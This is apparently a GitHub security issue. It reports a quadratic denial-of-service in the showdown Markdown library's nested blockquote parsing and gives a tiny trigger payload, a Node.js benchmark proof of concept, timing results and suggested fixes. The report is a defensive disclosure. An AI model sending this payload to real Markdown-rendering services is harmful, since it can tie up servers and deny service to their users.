Skip to content

Security: algorithmic complexity DoS in nested blockquote parsing #1048

@dmbs335

Description

@dmbs335

Summary

I found a denial-of-service issue in showdown blockquote parsing.

When processing deeply nested blockquotes such as "> ".repeat(N) + "x", showdown 2.1.0 shows severe superlinear runtime growth and quadratic output growth. In local validation on March 14, 2026, a 601-byte input took about 11 seconds and produced 188,108 bytes of HTML. A 1,001-byte input took about 59 seconds and produced 513,508 bytes.

This makes server-side Markdown rendering vulnerable to CPU exhaustion with a very small attacker-controlled payload.

Affected Version

Validated on:

  • showdown 2.1.0
  • Node.js 24.13.0
  • Windows environment during local reproduction on March 14, 2026

I have not yet verified whether older versions are also affected, but the issue is present in 2.1.0.

Reproduction

Minimal trigger:

const showdown = require("showdown");
const converter = new showdown.Converter();

const payload = "> ".repeat(300) + "x";
const html = converter.makeHtml(payload);

Standalone benchmark PoC:

#!/usr/bin/env node
"use strict";

const showdown = require("showdown");
const converter = new showdown.Converter();

function generatePayload(depth) {
  return "> ".repeat(depth) + "x";
}

for (const depth of [10, 50, 100, 200, 300, 400, 500]) {
  const input = generatePayload(depth);
  const start = process.hrtime.bigint();
  const html = converter.makeHtml(input);
  const elapsedMs = Number(process.hrtime.bigint() - start) / 1e6;

  console.log(JSON.stringify({
    depth,
    inputBytes: input.length,
    outputBytes: html.length,
    amplification: (html.length / input.length).toFixed(1),
    elapsedMs: elapsedMs.toFixed(1)
  }));
}

Observed Results

Local results from March 14, 2026:

Input Size Depth Processing Time Output Size Amplification
21 B 10 18 ms 478 B 22.8x
101 B 50 28 ms 6,358 B 62.9x
201 B 100 198 ms 22,708 B 113.0x
401 B 200 2.56 s 85,408 B 213.0x
601 B 300 12.8 s 188,108 B 313.0x
801 B 400 26.5 s 330,808 B 413.0x
1001 B 500 63.4 s 513,508 B 513.0x

The exact runtime is machine-dependent, but the pathological growth is easy to reproduce.

Technical Notes

The output growth is quadratic in nesting depth because each additional level wraps the previous content in another <blockquote> with additional indentation.

The parser implementation also appears to recurse through blockquote parsing repeatedly. In dist/showdown.js, blockQuotes strips one quote level and then calls blockGamut recursively on the remaining text before wrapping the result again. That repeated processing appears to be responsible for the observed runtime blowup.

Relevant code path:

  • blockQuotes in dist/showdown.js

Security Impact

Any application that accepts user-controlled Markdown and renders it server-side with showdown may be vulnerable to denial of service.

A payload around 1 KB is sufficient to tie up a worker thread for tens of seconds. Multiple concurrent requests could make the service unavailable.

Suggested Fix

  1. Add a maximum blockquote nesting depth, similar to markdown-it
  2. Refactor blockquote parsing to avoid recursively reprocessing nearly the entire remaining input at each nesting level

Credit

Discovered via differential fuzzing with web-fuzzer.

Verification assistance:

  • Jeongbin Ahn (@been43959)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions